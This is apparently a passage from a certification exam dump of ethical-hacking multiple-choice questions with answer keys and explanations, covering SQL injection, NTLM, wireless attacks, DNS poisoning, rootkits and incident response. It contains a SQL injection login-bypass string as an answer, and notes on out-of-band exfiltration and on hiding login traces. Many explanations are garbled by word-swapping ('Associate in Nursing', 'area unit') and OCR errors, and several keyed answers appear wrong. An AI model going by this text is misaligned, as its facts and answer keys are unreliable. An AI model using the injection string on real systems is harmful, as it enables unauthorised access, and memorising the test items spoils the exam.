A. select * from Users where UserName = "attack” or 1=1 -- and UserPassword = '123456'
B. select * from Users where UserName = 'attack’ or 1=1 -- and UserPassword = '123456'
C. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'
D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

Answer: D
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NEW QUESTION 127
- (Topic 2)
which of the following protocols can be used to secure an LDAP service against anonymous queries?

A. SSO

B. RADIUS
C. WPA

D. NTLM

Answer: D

Explanation:

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols
supposed to produce authentication, integrity, and confidentiality to users.NTLM is that the successor to the authentication protocol in Microsoft local area network
Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes
the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these
protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally differentjcompletely different} versions of Windows have different
default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.

NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting
(connectionless is similar), and a fourth extra message if integrity is desired.

? First, the consumer establishes a network path to the server and sends a

NEGOTIATE_MESSAGE advertising its capabilities.

? Next, the server responds with CHALLENGE_MESSAGE that is employed to determine the identity of the consumer.

? Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE_MESSAGE.

The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning
area unit word equivalent, that means that if you grab the hash price from the server, you??Il evidence while not knowing the particular word. the 2 area unit the Im
Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt
Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.

The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES
primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

NEW QUESTION 132

- (Topic 2)

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the
SSID "Brakeme-Internal.” You realize that this network uses WPAS3 encryption, which of the following vulnerabilities is the promising to exploit?

A. Dragonblood

B. Cross-site request forgery
C. Key reinstallation attack
D. AP Myconfiguration

Answer: A

Explanation:

Dragonblood allows an attacker in range of a password-protected Wi-Fi network to get the password and gain access to sensitive information like user credentials,
emails and mastercard numbers. consistent with the published report:??The WPAS3 certification aims to secure Wi-Fi networks, and provides several advantages
over its predecessor WPA2, like protection against offline dictionary attacks and forward secrecy. Unfortunately, we show that WPAS3 is suffering from several
design flaws, and analyze these flaws both theoretically and practically. Most prominently, we show that WPA3??s Simultaneous Authentication of Equals (SAE)
handshake, commonly referred to as Dragonfly, is suffering from password partitioning attacks.??Our Wi-Fi researchers at WatchGuard are educating businesses
globally that WPAS alone won??t stop the Wi-Fi hacks that allow attackers to steal information over the air (learn more in our recent blog post on the topic). These
Dragonblood vulnerabilities impact alittle amount of devices that

were released with WPA3 support, and makers are currently making patches available. one among the most important takeaways for businesses of all sizes is to
know that a long-term

fix might not be technically feasible for devices with lightweight processing capabilities like 10T and embedded systems. Businesses got to consider adding
products that enable a Trusted Wireless Environment for all kinds of devices and users alike.Recognizing that vulnerabilities like KRACK and Dragonblood require
attackers to initiate these attacks by bringing an ??Evil Twin?? Access Point or a Rogue Access Point into a Wi-Fi environment, we??ve been that specialize in
developing Wi-Fi security solutions that neutralize these threats in order that these attacks can never occur. The Trusted Wireless Environment framework protects
against the ??Evil Twin?? Access Point and Rogue Access Point. one among these hacks is required to initiate the 2 downgrade or side-channel attacks
referenced in Dragonblood.What??s next? WPA3 is an improvement over WPA2 Wi-Fi encryption protocol, however, as we predicted, it still doesn??t provide
protection from the six known Wi-Fi threat categories. 1t??s highly likely that we??Il see more WPA3 vulnerabilities announced within the near future.To help
reduce Wi-Fi vulnerabilities, we??re asking all of you to hitch the Trusted Wireless Environment movement and advocate for a worldwide security standard for Wi-
Fi.

NEW QUESTION 134

- (Topic 2)

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique.
Boney first obtains a valid session ID by logging into a service and later feeds the same session 10 to the target employee. The session ID links the target
employee to Boneys account page without disclosing any information to the victim. When the target employee clicks on the link, all the

sensitive payment details entered in a form are linked to Boneys account. What is the attack performed by Boney in the above scenario?

A. Session donation attack
B. Session fixation attack
C. Forbidden attack

D. CRIME attack

Answer: A
Explanation:
In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into

a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any
information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details
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are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and
session fixation. A session donation attack involves the following steps.

NEW QUESTION 137

- (Topic 2)

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously
guery the IDAP service for sensitive information such as usernames. addresses, departmental details, and server names to launch further attacks on the target
organization.

What is the tool employed by John to gather information from the IDAP service?

A. jxplorer

B. Zabasearch
C. EarthExplorer
D. lke-scan

Answer: A

Explanation:

JXplorer could be a cross platform LDAP browser and editor. it??s a standards compliant general purpose LDAP client which will be used to search, scan and edit
any

commonplace LDAP directory, or any directory service with an LDAP or DSML interface. It is extremely flexible and can be extended and custom in a very number
of the way.

JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment
or any develop the program.

JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the IJXWorkBench Enterprise bundle with inbuilt
reporting, administrative and security tools.

JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.
JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol.
it??s been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AlX, BSD and it should run on any java supporting OS.

NEW QUESTION 142

- (Topic 2)

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data
attached to a web application.

Which of the following SQLI types leverages a database server's ability to make DNS requests to pass data to an attacker?

A. Union-based SQLI

B. Out-of-band SQLI

C. In-band SQLI

D. Time-based blind SQLI

Answer: B

Explanation:

Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. ?? Out-of-band SQLi
techniques would believe the database server??s ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very
common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of- band SQL injection occurs
when an attacker is unable to use the same channel to launch the attack and gather results.

Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an
inferential time-based attack unreliable).

Out-of-band SQLi techniques would rely on the database server??s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with
Microsoft SQL Server??s xp_dirtree command, which can be used to make DNS requests to a server an

attacker controls; as well as Oracle Database??s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker
controls.

NEW QUESTION 145

- (Topic 2)

infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking
methodology?

A. Reconnaissance
B. Maintaining access
C. Scanning

D. Gaining access

Answer: D

Explanation:

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they??re — Password cracking — Methods like
Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an
inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values
until a match is discovered.» Password attacks

— Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash,
distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

NEW QUESTION 148

- (Topic 2)

Larry, a security professional in an organization, has noticed some abnormalities In the user accounts on a web server. To thwart evolving attacks, he decided to
harden the security of the web server by adopting a countermeasures to secure the accounts on the web server.
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Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

A. Enable unused default user accounts created during the installation of an OS

B. Enable all non-interactive accounts that should exist but do not require interactive login
C. Limit the administrator or toot-level access to the minimum number of users

D. Retain all unused modules and application extensions

Answer: C

NEW QUESTION 150

- (Topic 2)

Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames.
and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a
protocol that sends data using encryption and digital certificates. Which of the following protocols Is used by Bella?

A.FTP

B. HTTPS
C. FTPS
D.IP

Answer: C

Explanation:

The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization.
FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients
may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is
designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about
with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).

The primary FTP customer applications were order line programs created prior to working frameworks had graphical Uls, are as yet dispatched with most
Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell
phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.

NEW QUESTION 154
- (Topic 2)
is a tool that can hide processes from the process list, can hide files, registry entries, and intercept keystrokes.

A. Trojan

B. RootKit
C. DosS tool
D. Scanner
E. Backdoor

Answer: B

NEW QUESTION 158

- (Topic 2)

Every company needs a formal written document which spells out to employees precisely what they are allowed to use the company's systems for, what is
prohibited, and what will happen to them if they break the rules. Two printed copies of the policy should be given to every employee as soon as possible after they
join the organization. The employee should be asked to sign one copy, which should be safely filed by the company. No one should be allowed to use the
company's computer systems until they have signed the policy in acceptance of its terms.

What is this document called?

A. Information Audit Policy (IAP)

B. Information Security Policy (ISP)

C. Penetration Testing Policy (PTP)

D. Company Compliance Policy (CCP)

Answer: B

NEW QUESTION 162

- (Topic 2)

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-2S6. MMAC-
SHA384, and ECDSA using a 384-bit elliptic curve. Which is this wireless security protocol?

A. WPA2 Personal
B. WPA3-Personal
C. WPA2-Enterprise
D. WPA3-Enterprise

Answer: D

Explanation:

Enterprise, governments, and financial institutions have greater security with WPA3-Enterprise. WPA3-Enterprise builds upon WPA2 and ensures the consistent
application of security protocol across the network. WPA3-Enterprise also offers an optional mode using 192-bit minimum-strength security protocols and
cryptographic tools to raised protect sensitive data:e Authenticated encryption: 256-bit Galois/Counter Mode Protocol (GCMP-256)« Key derivation and
confirmation: 384-bit Hashed Message Authentication Mode (HMAC) with Secure Hash Algorithm (HMAC-SHA384)« Key establishment and authentication: Elliptic
Curve Diffie-Hellman (ECDH) exchange and Elliptic Curve Digital Signature Algorithm (ECDSA) employing a 384-bit elliptic curves Robust management frame
protection: 256-bit Broadcast/Multicast Integrity Protocol Galois Message Authentication Code (BIP-GMAC-256)The 192-bit security mode offered by WPA3-
Enterprise ensures the proper combination of cryptographic tools are used and sets a uniform baseline of security within a WPA3 network.
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It protects sensitive data using many cryptographic algorithms It provides authenticated encryption using GCMP-256 It uses HMAC-SHA-384 to generate
cryptographic keys It uses ECDSA-384 for exchanging keys

NEW QUESTION 166

- (Topic 2)

Richard, an attacker, aimed to hack 0T devices connected to a target network. In this process. Richard recorded the frequency required to share information
between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the
original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command
sequence on the same frequency into the loT network, which repeats the captured signals of the devices. What Is the type of attack performed by Richard In the
above scenario?

A. Side-channel attack

B. Replay attack

C. CrypTanalysis attack
D. Reconnaissance attack

Answer: B

Explanation:

Replay Attack could be a variety of security attack to the info sent over a network.In this attack, the hacker or a person with unauthorized access, captures the
traffic and sends communication to its original destination, acting because the original sender.

The receiver feels that it??s Associate in Nursing genuine message however it??s really the message sent by the aggressor. the most feature of the Replay Attack
is that the consumer would receive the message double, thence the name, Replay Attack.

Prevention from Replay Attack : 1. Timestamp technique —Prevention from such attackers is feasible, if timestamp is employed at the side of the info. Supposedly,
the timestamp on an information is over a precise limit, it may be discarded, and sender may be asked to send the info once more.2. Session key technique
—Another way of hindrance, is by victimisation session key. This key may be used one time (by sender and receiver) per dealing, and can??t be reused.

NEW QUESTION 169

- (Topic 2)

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network
activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the
compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited. What is the
incident handling and response (IH&R) phase, in which Robert has determined these issues?

A. Preparation

B. Eradication

C. Incident recording and assignment
D. Incident triage

Answer: D

Explanation:

Incident Handling and Response Incident handling and response (IH&R) is the process of taking organized and careful steps when reacting to a security incident
or cyberattack. Steps involved in the IH&R process: 3.Incident Triage - The IH&R team further analyzes the compromised device to find incident details such as
the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited. (P.84/68)

NEW QUESTION 174

- (Topic 2)

John is an incident handler at a financial institution. His steps in a recent incident are not up to the standards of the company. John frequently forgets some steps
and procedures while handling responses as they are very stressful to perform. Which of the following actions should John take to overcome this problem with the
least administrative effort?

A. Create an incident checklist.
B. Select someone else to check the procedures.
C. Increase his technical skills.
D. Read the incident manual every time it occurs.

Answer: C

NEW QUESTION 176
- (Topic 2)
What is the main security service a cryptographic hash provides?

A. Integrity and ease of computation

B. Message authentication and collision resistance
C. Integrity and collision resistance

D. Integrity and computational in-feasibility

Answer: D

NEW QUESTION 177
- (Topic 2)
What do Trinoo, TFN2k, WinTrinoo, T-Sight, and Stracheldraht have in common?

A. All are hacking tools developed by the legion of doom

B. All are tools that can be used not only by hackers, but also security personnel
C. All are DDOS tools

D. All are tools that are only effective against Windows
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E. All are tools that are only effective against Linux

Answer: C

NEW QUESTION 178
- (Topic 2)
What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

A. The attacker queries a nameserver using the DNS resolver.
B. The attacker makes a request to the DNS resolver.

C. The attacker forges a reply from the DNS resolver.

D. The attacker uses TCP to poison the ONS resofver.

Answer: B

Explanation:

https://ru.wikipedia.org/wiki/DNS_spoofing

DNS spoofing is a threat that copies the legitimate server destinations to divert the

domain's traffic. Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method
of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital
information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their
computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as
well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.

- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the
attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their
chance of success.

- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the
malicious website.

NEW QUESTION 183

- (Topic 2)

In order to tailor your tests during a web-application scan, you decide to determine which web-server version is hosting the application. On using the sV flag with
Nmap. you obtain the following response:

80/tcp open http-proxy Apache Server 7.1.6

what Information-gathering technique does this best describe?

A. WhOIS lookup
B. Banner grabbing
C. Dictionary attack
D. Brute forcing

Answer: B

Explanation:

Banner grabbing is a technique wont to gain info about a computer system on a network and the services running on its open ports. administrators will use this to
take inventory of the systems and services on their network. However, an to find will use banner grabbing so as to search out network hosts that are running
versions of applications and operating systems with known exploits.

Some samples of service ports used for banner grabbing are those used by Hyper Text
Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 severally. Tools normally used to perform
banner grabbing are Telnet, nmap and Netcat.

For example, one may establish a connection to a target internet server using Netcat, then send an HTTP request. The response can usually contain info about the
service running on the host:

| rot P<albar B Lt geth . -

This information may be used by an administrator to catalog this system, or by an intruder to narrow down a list of applicable exploits.To prevent this, network
administrators should restrict access to services on their networks and shut down unused or unnecessary services running on network hosts. Shodan is a search
engine for banners grabbed from portscanning the Internet.

NEW QUESTION 185
- (Topic 2)
What type of analysis is performed when an attacker has partial knowledge of inner- workings of the application?
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A. Black-box
B. Announced
C. White-box
D. Grey-box

Answer: D

NEW QUESTION 187
- (Topic 2)
This kind of password cracking method uses word lists in combination with numbers and special characters:

A. Hybrid

B. Linear

C. Symmetric
D. Brute Force

Answer: A

NEW QUESTION 190

- (Topic 2)

Gavin owns a white-hat firm and is performing a website security audit for one of his clients. He begins by running a scan which looks for common
misconfigurations and outdated software versions. Which of the following tools is he most likely using?

A. Nikto

B. Nmap

C. Metasploit
D. Armitage

Answer: B

NEW QUESTION 193

- (Topic 2)

To invisibly maintain access to a machine, an attacker utilizes a toolkit that sits undetected In the core components of the operating system. What is this type of
rootkit an example of?

A. Mypervisor rootkit
B. Kernel toolkit

C. Hardware rootkit
D. Firmware rootkit

Answer: B

Explanation:

Kernel-mode rootkits run with the best operating system privileges (Ring 0) by adding code or replacement parts of the core operating system, as well as each the
kernel and associated device drivers. Most operative systems support kernel-mode device drivers, that execute with a similar privileges because the software
itself. As such, several kernel-mode rootkits square measure developed as device drivers or loadable modules,
like loadable kernel modules in Linux or device drivers in Microsoft Windows. This category of rootkit has unrestricted security access, however is tougher to jot
down. The quality makes bugs common, and any bugs in code operative at the kernel level could seriously impact system stability, resulting in discovery of the
rootkit. one amongst the primary wide familiar kernel rootkits was developed for Windows NT four.0 and discharged in Phrack magazine in 1999 by Greg Hoglund.
Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure
therefore able to intercept or subvert the foremost sure software operations. Any package, like antivirus package, running on the compromised system is equally
vulnerable. during this scenario, no a part of the system is sure.

NEW QUESTION 196

- (Topic 2)

Study the snort rule given below and interpret the rule. alert tcp any any -->192.168.1.0/24 111
(content:"|00 01 86 a5|"; msG. "mountd access";)

A. An alert is generated when a TCP packet is generated from any IP on the 192.168.1.0 subnet and destined to any IP on port 111

B. An alert is generated when any packet other than a TCP packet is seen on the network and destined for the 192.168.1.0 subnet

C. An alert is generated when a TCP packet is originated from port 111 of any IP address to the 192.168.1.0 subnet

D. An alert is generated when a TCP packet originating from any IP address is seen on the network and destined for any IP address on the 192.168.1.0 subnet on
port 111

Answer: D

NEW QUESTION 199

- (Topic 2)

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have
been exfilltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs, what type
of malware did the attacker use to bypass the company's application whitelisting?

A. Phishing malware
B. Zero-day malware
C. File-less malware
D. Logic bomb malware

Answer: C
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Explanation:

https://www.mcafee.com/enterprise/en-us/security-

awareness/ransomware/what-is-fileless-malware.html

Fileless malware can easily evade various security controls, organizations need to focus on monitoring, detecting, and preventing malicious activities instead of
using traditional approaches such as scanning for malware through file signatures.Also known as non- malware, infects legitimate software, applications, and other
protocols existing in the system to perform various malicious activities.It resides in the system??s RAM. It injects malicious code into the running processes.
(P.966/950)

NEW QUESTION 204

- (Topic 2)

In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled and confirmation is required before activation. The
attackers then scam to collect not one but two credit card numbers, ATM PIN number and other personal details. Ignorant users usually fall prey to this scam.
Which of the following statement is incorrect related to this attack?

A. Do not reply to email messages or popup ads asking for personal or financial information
B. Do not trust telephone numbers in e-mails or popup ads

C. Review credit card and bank account statements regularly

D. Antivirus, anti-spyware, and firewall software can very easily detect these type of attacks
E. Do not send credit card numbers, and personal or financial information via e-mail

Answer: D

NEW QUESTION 206

- (Topic 2)

When a normal TCP connection starts, a destination host receives a SYN (synchronize/start) packet from a source host and sends back a SYN/ACK (synchronize
acknowledge). The destination host must then hear an ACK (acknowledge) of the SYN/ACK before the connection is established. This is referred to as the "TCP
three-way handshake." While waiting for the ACK to the SYN ACK, a connection queue of finite size on the destination host keeps track of connections waiting to
be completed. This queue typically empties quickly since the ACK is expected to arrive a few milliseconds after the SYN ACK.

How would an attacker exploit this design by launching TCP SYN attack?

A. Attacker generates TCP SYN packets with random destination addresses towards a victim host
B. Attacker floods TCP SYN packets with random source addresses towards a victim host

C. Attacker generates TCP ACK packets with random source addresses towards a victim host

D. Attacker generates TCP RST packets with random source addresses towards a victim host

Answer: B

NEW QUESTION 211

- (Topic 2)

You have successfully logged on a Linux system. You want to now cover your trade Your login attempt may be logged on several files located in /var/log. Which
file does NOT belongs to the list:

A. user.log
B. auth.fesg
C. wtmp

D. btmp

Answer: C

NEW QUESTION 212

- (Topic 2)

Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate
disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by
what acronym?

A. Fed RAMP
B. PCIDSS
C. SOX

D. HIPAA

Answer: C

Explanation:

The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by
companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory
powerful new penalties on law breakers.

The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation,
Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd
light-emitting diode several to demand an overhaul of decades-old restrictive standards.

NEW QUESTION 213

- (Topic 2)

You work for Acme Corporation as Sales Manager. The company has tight network security restrictions. You are trying to steal data from the company's Sales
database (Sales.xlIs) and transfer them to your home computer. Your company filters and monitors traffic that leaves from the internal network to the Internet. How
will you achieve this without raising suspicion?

A. Encrypt the Sales.xlIs using PGP and e-mail it to your personal gmail account
B. Package the Sales.xls using Trojan wrappers and telnet them back your home computer
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C. You can conceal the Sales.xIs database in another file like photo.jpg or other files and send it out in an innocent looking email or file transfer using
Steganography techniques
D. Change the extension of Sales.xls to sales.txt and upload them as attachment to your hotmail account

Answer: C

NEW QUESTION 215

- (Topic 2)

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to
the datacenter. He immediately discovers unencrypted traffic in port UDP 161. what protocol is this port using and how can he secure that traffic?

A. it is not necessary to perform any actions, as SNMP is not carrying important information.
B. SNMP and he should change it to SNMP V3

C. RPC and the best practice is to disable RPC completely

D. SNMP and he should change it to SNMP v2, which is encrypted

Answer: B

Explanation:

We have various articles already in our documentation for setting up

SNMPv2 trap handling in Opsview, but SNMPV3 traps are a whole new ballgame. They can be quite confusing and complicated to set up the first time you go
through the process, but when you understand what is going on, everything should make more sense.

SNMP has gone through several revisions to improve performance and security (version 1, 2c and 3). By default, it is a UDP port based protocol where
communication is based on a ??fire and forget?? methodology in which network packets are sent to another device, but there

is no check for receipt of that packet (versus TCP port when a network packet must be acknowledged by the other end of the communication link).

There are two modes of operation with SNMP — get requests (or polling) where one device requests information from an SNMP enabled device on a regular basis
(normally using UDP port 161), and traps where the SNMP enabled device sends a message to another device when an event occurs (normally using UDP port
162). The latter includes instances such as someone logging on, the device powering up or down, or a wide variety of other problems that would need this type of
investigation.

This blog covers SNMPv3 traps, as polling and version 2c traps are covered elsewhere in our documentation.

SNMP trapsSince SNMP is primarily a UDP port based system, traps may be ??lost?? when sending between devices; the sending device does not wait to see if
the receiver got the trap. This means if the configuration on the sending device is wrong (using the wrong receiver IP address or port) or the receiver isn??t
listening for traps or rejecting them out of hand due to misconfiguration, the sender will never know.

The SNMP v2c specification introduced the idea of splitting traps into two types; the original ??hope it gets there?? trap and the newer ??INFORM?? traps. Upon
receipt of an INFORM, the receiver must send an acknowledgement back. If the sender doesn??t get the acknowledgement back, then it knows there is an
existing problem and can log it for sysadmins to find when they interrogate the device.

NEW QUESTION 218
- (Topic 2)
which type of virus can change its own code and then cipher itself multiple times as it replicates?

A. Stealth virus

B. Tunneling virus
C. Cavity virus

D. Encryption virus

Answer: A

Explanation:

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-
infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.Like other viruses, a stealth virus can take hold of the many
parts of one??s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename
then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected
??infected?? file with a clean file that doesn??t trigger anti-virus detection. 1t??s a never-ending game of cat and mouse.The intelligent architecture of this sort of
virus about guarantees it??s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to
completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is
additionally caught in an endless cycle of finding new threats and protecting against them. https://www.techslang.com/definition/what-is-a-stealth-virus/

NEW QUESTION 221
- (Topic 2)
Which of the following statements is FALSE with respect to Intrusion Detection Systems?

A. Intrusion Detection Systems can be configured to distinguish specific content in network packets

B. Intrusion Detection Systems can easily distinguish a malicious payload in an encrypted traffic

C. Intrusion Detection Systems require constant update of the signature library

D. Intrusion Detection Systems can examine the contents of the data n context of the network protocol

Answer: B

NEW QUESTION 222

- (Topic 2)

You are attempting to crack LM Manager hashed from Windows 2000 SAM file. You will be using LM Brute force hacking tool for decryption. What encryption
algorithm will you be decrypting?

A. MD4
B. DES
C. SHA
D. SSL
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Answer: B

NEW QUESTION 226

- (Topic 2)

The network team has well-established procedures to follow for creating new rules on the firewall. This includes having approval from a manager prior to
implementing any new rules. While reviewing the firewall configuration, you notice a recently implemented rule but cannot locate manager approval for it. What
would be a good step to have in the procedures for a situation like this?

A. Have the network team document the reason why the rule was implemented withoutprior manager approval.

B. Monitor all traffic using the firewall rule until a manager can approve it.

C. Do not roll back the firewall rule as the business may be relying upon it, but try to get manager approval as soon as possible.
D. Immediately roll back the firewall rule until a manager can approve it

Answer: D

NEW QUESTION 228

- (Topic 2)

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the Integrity of updating and changing data. For this purpose, he uses a
web service that uses HTTP methods such as PUT. POST. GET. and DELETE and can improve the overall performance, visibility, scalability, reliability, and
portability of an application. What is the type of web-service APl mentioned in the above scenario?

A. JSON-RPC
B. SOAP API
C. RESTful API
D. REST API

Answer: C

Explanation:

*REST is not a specification, tool, or framework, but instead is an architectural style for web services that serves as a communication medium between various
systems on the web. *RESTful APIs, which are also known as RESTful services, are designed using REST principles and HTTP communication protocols RESTful
is a collection of resources that use HTTP methods such as PUT, POST, GET, and DELETE

RESTful API: RESTful API is a RESTful service that is designed using REST principles and HTTP communication protocols. RESTful is a collection of resources
that use HTTP methods such as PUT, POST, GET, and DELETE. RESTful API is also designed to make applications independent to improve the overall
performance, visibility, scalability, reliability, and portability of an application. APIs with the following features can be referred to as to RESTful APIs: o Stateless:
The client end stores the state of the session; the server is restricted to save data during the request processing o Cacheable: The client should save responses
(representations) in the cache. This feature can enhance API performance pg. 1920 CEHv11 manual.
https://cloud.google.com/files/apigee/apigee-web-api-design-the-missing-link-ebook. pdf

The HTTP methods GET, POST, PUT or PATCH, and DELETE can be used with these templates to read, create, update, and delete description resources for
dogs and their owners. This API style has become popular for many reasons. It is straightforward and intuitive, and learning this pattern is similar to learning a
programming language API. APIs like this one are commonly called RESTful APIs, although they do not display all of the characteristics that define REST (more
on REST later).

NEW QUESTION 233

- (Topic 2)

joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached
out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud
deployment reference architecture, under which category does the telecom company fall in the above scenario?

A. Cloud booker
B. Cloud consumer
C. Cloud carrier
D. Cloud auditor

Answer: C

Explanation:

A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.

Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud
services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc. The distribution of cloud services is often
provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical
transport of storage media like high-capacity hard drives.

Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require
the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

NEW QUESTION 234
- (Topic 2)
At what stage of the cyber kill chain theory model does data exfiltration occur?

A. Actions on objectives
B. Weaponization

C. installation

D. Command and control

Answer: A
Explanation:

The longer an adversary has this level of access, the greater the impact. Defenders must detect this stage as quickly as possible and deploy tools which can
enable them to gather forensic evidence. One example would come with network packet captures, for damage assessment. Only now, after progressing through
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the primary six phases, can intruders take actions to realize their original objectives. Typically, the target of knowledge exfiltration involves collecting, encrypting
and extracting information from the victim(s) environment; violations of knowledge integrity or availability are potential objectives also . Alternatively, and most
ordinarily , the intruder may only desire access to the initial victim

box to be used as a hop point to compromise additional systems and move laterally inside the network. Once this stage is identified within an environment, the
implementation of prepared reaction plans must be initiated. At a minimum, the plan should include a comprehensive communication plan, detailed evidence must
